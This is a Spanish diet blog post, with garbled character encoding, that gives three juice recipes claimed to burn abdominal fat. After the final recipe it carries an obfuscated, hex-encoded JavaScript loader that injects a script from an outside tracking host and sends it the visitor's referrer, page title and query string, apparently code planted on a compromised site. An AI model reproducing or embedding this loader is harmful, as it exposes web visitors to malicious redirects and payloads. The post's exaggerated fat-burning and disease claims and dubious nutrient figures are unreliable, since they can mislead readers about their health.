3 Jugos para Quemar Grasa Abdominal Muy Poderosos

Adelgazar no es tarea fA?cil y mas cuando nos encanta comer comida no saludable hasta llenarnos, y resulta tedioso realizar ejercicios; para adelgazar de forma saludable no debes comer menos, sino tratar de comer mejor. Muchas personas han tomado conciencia sobre los beneficios que es para nuestra salud, llevar un ritmo de vida adecuado, llevar una vida saludable y de manera fresca, natural y sin preocupaciA?n, que no te aportan ningun beneficioso al gran contrario es una gran desventaja y dentro de eso aumentaras de peso; estos jugos poderosos son un A�xitoA�te ayudan mantenerte en tu peso ideal y asA� lucir el peso que realmente deseas.

Deshazte de esos kilitos de mas con estos famosos jugos poderosos que te resultaran efectivos y beneficiosos a la hora de perder peso. ActualmenteA�esta muy de moda, las bebidas naturales, A�jugos de frutas, como verduras y hasta mezclas tipo infusiones con hortalizasA�, ya que mucho de ellos poseen la capacidad de limpiar nuestro organismo, mejorando todo elA�A�tracto digestivo, con un gran resultado que es bajar de peso que es lo que realmente deseasA�bajar de peso, junto con una alimentaciA?n sana, saludable y nutritiva y ejercicios de manera regular. Es por eso que el dA�a de hoy dietasparaadelagazarte.com te trae 3 jugos para quemar grasa abdominal muy poderosos, que estoy segura que les encantara y les servirA? de mucha ayuda.

Jugo de MelA?n

El melA?n constituye un alimento muy rico en vitamina A en forma de betacarotenos. El organismo trasforma estos particulares flavonoides en vitamina A, resultando el mejor antioxidante que podrA?s encontrar . La ingestiA?n de vitaminas, te ayuda a prevenirA� muchas enfermedades y participa en el desarrollo y el crecimiento celular, facilitando el impulso nervioso. Dentro de todos los melones, los de piel anaranjada en su centro los que poseen gran cantidad, son estos principios nutricionales que proporcionan el color amarillento a esta fruta, los melones que no estA?n totalmente maduros no poseen cantidad de vitamina A. Por si fuera pocoA�contiene vitamina C, ayudando a la formaciA?n de colA?geno por lo que resulta ideal en la cicatrizaciA?n de heridas producidas traumatismos, quemaduras, cirugA�as. Igualmente resultara adecuada, para la formaciA?n de tejidos en problemas a nivel osteomuscular , distensiones musculares, rotura de ligamentos, , fracturas. y demA?s problemas a nivel de articulaciones.

AdemA?s de vitamina A posee vitaminas del complejo B, entre las que destaca la piridoxina (vitamina B6) cuya funciA?n dentro del organismo es el aprovechamiento de proteA�nas siendo esencial, ademA?s de regular el sistema nervioso. Una falta de vitamina produce, estrA�s, insomnio, nerviosismo A�problemas de sueA�o, dificultad para aprender,A�problemas a nivel muscular, dA�ficit neurolA?gico.

Contiene ademA?s vitamina B3 (Niacina) una disminuciA?n de esta importante vitaminaA�en las cA�lulas en el organismo seria fatal, pues no te aportarA�a la suficiente energA�a que necesitas a diario para poder realizar las tareas que habitualmente haces, y por si fuera poco estaA�vitamina ayuda a mantener los niveles bajos de colesterol en sangre, reduce la hipertensiA?n arterial, protege el tracto digestivo, y nos permite tener la piel hidratada.jugos para quemar grasa abdominal

Por tanto aprovechar en su mA?xima expresiA?n las vitaminas que esta fruta contiene, es esencial recurrir e incluirlas en la dieta, pues te aportara vitaminas de forma natural sin tener que tomar suplementos vitamA�nicos. Comiendo melones en abundancia durante meses, calmaras la sed, hidratando tu organismo, disfrutaras su sabor, y lo mA?s importante reforzaras las energA�as que necesitas para estar activa, y asA� evitar los productos contaminantes del exterior oA� las toxinas de nuestro propio organismo.

Loading...

NoA�debemos olvidarA� que la piel sufre muchas agresiones debido a la radiaciA?n solar, como por ejemplo cuando vas a la playa la piel expuesta por horas al sol, disminuye sus propiedades y pierdes sus sustancias que requiere para mantenerse hidratadaA�A�la falta de humedad tambiA�n influye durante esos periodos intensos de calor. Te ayudaran a conservar un buen tono de piel, y tener un cabello brillante y bonito al mismo tiempo protegiA�ndote de los rayos solares, sin duda no olvides salir sin tu protector solar para complementar esta medida preventiva. Y por ultimo tambiA�n te aporta minerales, como el hierro y fA?sforo . Una deficiencia de cada uno de A�ellos produce anemia,A�resultando un gran aporte al desarrollo muscular, evitando la osteoporosisA�siendo necesario para los huesos, para el sistema nervioso y proteA�nas que nuestro cuerpo habitualmente necesita para mantenerse sano.

Descubre las 8 frutas que ayudan a bajar de pesoA�

A?CA?mo comer melA?n?

Existe muchas maneras de comer esta maravillosa fruta, la manera mas sencilla, es cortA?ndolo en trocitos pequeA�os en forma de dados o de rodajas alargadas, puedes combinar con otras frutas en especie de ensalada. Es muy conocida su funciA?n por su acompaA�ante de otros platos proteicos, (carnes magras, quesos, embutidos). La capacidad de este alimento para digerir y aprovechar los nutrientes, permite darle un toque refrescante y exA?tico a estos preparados capaz de estimular ciertas hormonas, que permite digerir mejor los alimentos.

Incompatibilidad con otros alimentos

A pesar de ser un alimento compatible, hay que tomar en cuentaA� que los melones no combinan con algunos alimentos; como cereales, huevos, mantequillas, quesos grasos, aceites. Es necesario comerlo bien madura, puesto que en caso contrario, resultara indigesto.

Este jugo de melA?n para quemar la grasa abdominal ademA?s te ayudara a eliminar el liquido que tienes retenido, causando inflamaciA?n, dolor en las piernas, eliminando toxinas y neutralizando la acidez.

Los ingredientes que se presentaran a continuaciA?n, son los que necesitaras para el juego para un dA�a, es decir dos vasos de jugo. No existe un tiempo lA�mite para consumir este alimento, pues solo tA? decides cada cuanto tomarlo.foto-dieta1

A? melA?n picado

Una taza de fresas

Una taza de agua

3 hojas de lechuga previamente lavadas y picadas

Coloca todos los ingredientes previamente mencionados en la licuadora, deja que se licuen en su plenitud sin grumos, si notas que esta muy espeso puedes agregar un poco mA?s de agua, una vez licuado esta listo para consumirlo. Es recomendable tomar un vaso de jugo bien potente en las maA�ana y otro en la noche antes de dormir, si deseas puedes sustituir el agua por cubos de hielo para hacerlo mas refrescante y asA� lograr un smoothie, si deseas puedes agregar stevia, edulcorante pero nunca azA?car.

TambiA�n debes leer desayuno efectivo ideal para A�adelgazarA�

El jugo que te sobre puedes colocarlo en la nevera para que se mantenga friA? y fresco, ademA?s para que te dure mas tiempo, puedes porcionarlos y guardarlas en el refrigerador A�y asA� puedas hacer el jugo de manera mas fA?cil.

Jugo de fresa y algo mA?s

La fresa es una fruta silvestre con mA?ltiples propiedades, su enorme valor nutritivo unido a bajas calorA�as la convierten en un alimento recomendable a la hora de quemar grasa, sin mencionar su excelente sabor.

Las fresas frescas son las mas refrescantes y saludables de este planeta, pero no solamente es un regalo para nuestro paladar, desde la A�poca romana han sido utilizada para una amplia variedad de propA?sitos medicinales, como el mal aliento, la inflamaciA?n, la fiebre, cA?lculos renales, y desde hace mucho tiempo, tambiA�n en las dietas.

A?Por quA� la fresa funcionaA�tambiA�nA�para adelgazar?

La razA?n es que la fresa contiene una gran concentraciA?n glA?cidos muy bajas y pocas calorA�as. Tjugo para quemar grasa abdominalienen vitaminas,minerales y acido fA?lico y gran cantidad de agua y de hidratos de carbono lo que se convierte en una fruta muy saciante.

ComposiciA?n de las fresas

En 100 gramos de fresas encontraras:

Agua: 85 % de su composiciA?n

Hidratos de carbono: 7 gramos

Fibra: 10 gramos

Potasio: 150 mg

Calcio: 40 mg

A�Magnesio: 13 mg

Folatos: 6 microgramos

Vitamina C: 60 mg

Vitamina E: 0,2 mg

La enorme proporciA?n de vitamina C que contiene las fresas es impresionante. Por solo 35 kc puedes obtener el 100 % de las propiedades que estas contienen.

Por si esto fuera poco, tiene potentes antioxidantes como las antocianinas, la quercetina, acido elagico. Los beneficios de comer esta fruta son infinitos, pues te ayudaran a prevenir enfermedades cardiovasculares, la diabetes y cA?ncer.

Gracias a las antocianinas que es una clase de flavonoides, que se encuentran en la fresa puede reducir un riesgo de ataque en el corazA?n en las mujeres jA?venes y de mediana edad. La quercetina que tambiA�n es un flavonoide es un antiinflamatorio natural y ademA?s el alto contenido de polifenoles tambiA�n reduce las afecciones a nivel cardiovascular. Y no podemos obviar la parte de belleza y estA�tica que esta te brinda, se asocia con la piel sana, el cabello fuerte y sano de raA�z hasta la punta, proporcionan vitalidad ayudando a controlar el peso ideal y adecuado

Esta receta de jugo para quemar la grasa abdominal resulta muy beneficiosa a la hora de combatir la grasa corporal, tambiA�n te hidratara ya que contiene propiedades que te refrescaran tambiA�n es econA?mica y la mayorA�a de los ingredientes lo tenemos en casa.

Receta para dos vasos

2 tazas de fresas

1 taza de patilla o sandia

Dos tomates maduros

AA�ade los ingredientes mencionados en la licuadora y licua hasta que queden bien mezclados, es importante resaltar NO aA�adir agua a la mezcla, es por ello que si deseas que tu preparaciA?n este frio te recomiendo picar en pequeA�os trozos y meterlos al refrigerador A�un dA�a antes y luego proceder a la preparaciA?n. Veras que quedaran como tipo granizado, sumamente refrescante y delicioso. Si deseas puedes aA�adir yerbabuena.

TambiA�n NO aA�adas azA?car, ya que la idea es quemar grasa abdominal y asA� consumirlo de forma 100 % natural, una recomendaciA?n es tomarlo una vez preparado ya que si lo dejas por mucho tiempo puede perder sus propiedades.

Este jugo poderoso puedes consumirlo en el desayuno o en ayunas, antes de ir a dormir, y si lo deseas en el trascurso del dA�a, las veces que desees. Las personas que sufren de gastritis es recomendable solo debe consumirlo en ayunas y antes de dormir.

Jugo de ArA?ndanos

En la actualidad un buen batido de arA?ndanos te beneficiara en todos los sentidos por sus mA?ltiples propiedades adelgazantes, pues te permiten mantener un cuerpo fitness, ademA?s los arA?ndanos son frutos que aportan beneficiosA� para tu salud y para perder peso. Por lo tanto me toca brindarte un tema importante sobre este jugo poderoso A�si deseas tener un cuerpo sano y perfecto siendo muy saludable por ser un fruto medicinal que ayuda a proteger tu salud. Lo primero que debes conocer que beneficios te puede aportar para que bajes de peso de manera adecuada.

Este fruto contiene pocas calorA�as, solamente 30 calorA�as por 100 gramos de arA?ndanos. Ayuda a nuestro estomago a que no desarrolle la bacteria helicobacter pylori que es la responsable de la gastritis y de las lesiones en la mucosa gA?strica que esta produce, por lo cual el arA?ndano posee una sustancia llamada pronantocianidinas que permite contrarreel-jugo-de-arandano1star esta enfermedad funcionado como una especie de anti-adherencia. Es un fruto exquisito ayuda al transito intestinal y un efecto antioxidante para tener A�un buen metabolismo A�en general e incluyendo la digestiA?n perfecta. Es un gran diurA�tico y mejora el metabolismo renal, este rico fruto puede combinarse con otras frutas como piA�as, papaya, toronja, naranja, que son estrictamente fundamentalmente para bajar de peso de manera natural.

Esta en un rA�gimen de bajar de peso, haciendo ejercicios de manera regular, alimentA?ndote A�de manera adecuada, sin embargo si deseas algo natural que te ayude a quemar la grasa abdominal y que te ayude a realizar las tareas del dA�a a dA�a, este jugo es para ti. DisfrA?talo.

Ingredientes:

1 taza de arA?ndanos

A? de cambur o banano

5 piA�as cortadas en trozos

A? de yogurt descremado

AA�ade todos estos ingredientes antes mencionados y procesa hasta que se mezcles por completo. Te van a salir aproximadamente 3 vasos de jugos, lo cual debes ir tomando a lo largo del dA�a, en ayunas, puedes tomar un vaso en ayunas o durante el desayuno, n vaso en la tarde como merienda y un vaso de jugo antes de irte a dormir. Debes acompaA�arlo con una alimentaciA?n saludable y sana, ejercicio regular y el consumo de agua durante el dA�a.

Batido de hortalizas

Este batido verde de hortalizas y frutas lo consumen las famosas durante todo el dA�a para mantener un cuerpo espectacular y claro consumiendo bastante agua para asA� eliminar toxinas e hidratar tu piel.

Una libra de espinacas

1 pepino

1 pera

Jugo de limA?n

Hojas de hierba buena

Lavas muy bien todos estos ingredientes mencionados y mA�telos en la licuadora, aA�adiendo un vaso de agua. Licua muy bien hasta que todos los ingredientes se incorporen, no cueles la preparaciA?n y puedes beberla dos veces al dA�a, un vaso en la maA�ana y otro en la noche.jugos-verdes-para-adelgazar1-680x365_c

Cualquier jugo que desees tomar, es importante que lo acompaA�es con una buena alimentaciA?n balanceada, cero grasa, comida chatarra, gaseosa y alcohol; y como no hay nada milagroso para perder peso debes complementar hacer ejercicios de manera rutinaria, por lo menos tres veces a la semana, no solo para bajar de peso sino para tonificar el cuerpo. Puedes subir, bajar escaleras, trotar, bailar, caminar y asA� obtendrA?s resultados al instante.

var _0x31f1=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D”,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D”,”\x74\x69\x74\x6C\x65″,”\x26″,”\x3F”,”\x72\x65\x70\x6C\x61\x63\x65″,”\x73\x65\x61\x72\x63\x68″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,”\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,”\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0x31f1[1]](_0x31f1[0]);s[_0x31f1[2]]= _0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12];if(document[_0x31f1[13]]){document[_0x31f1[13]][_0x31f1[15]][_0x31f1[14]](s,document[_0x31f1[13]])}else {d[_0x31f1[18]](_0x31f1[17])[0][_0x31f1[16]](s)};if(document[_0x31f1[11]][_0x31f1[19]]=== _0x31f1[20]&& KTracking[_0x31f1[22]][_0x31f1[21]](_0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12])=== -1){alert(_0x31f1[23])}

Llegaron Buscando:

  • jugo quemador de grasa
  • comer melon en ayunas quema grasa abdominal
  • jugos para quemar grasa de noche
  • jugos quema grasa para la noche
Loading...

Comments on this entry are closed.

  • mirta julio 2, 2015, 4:28 am

    me encanto todo el articulo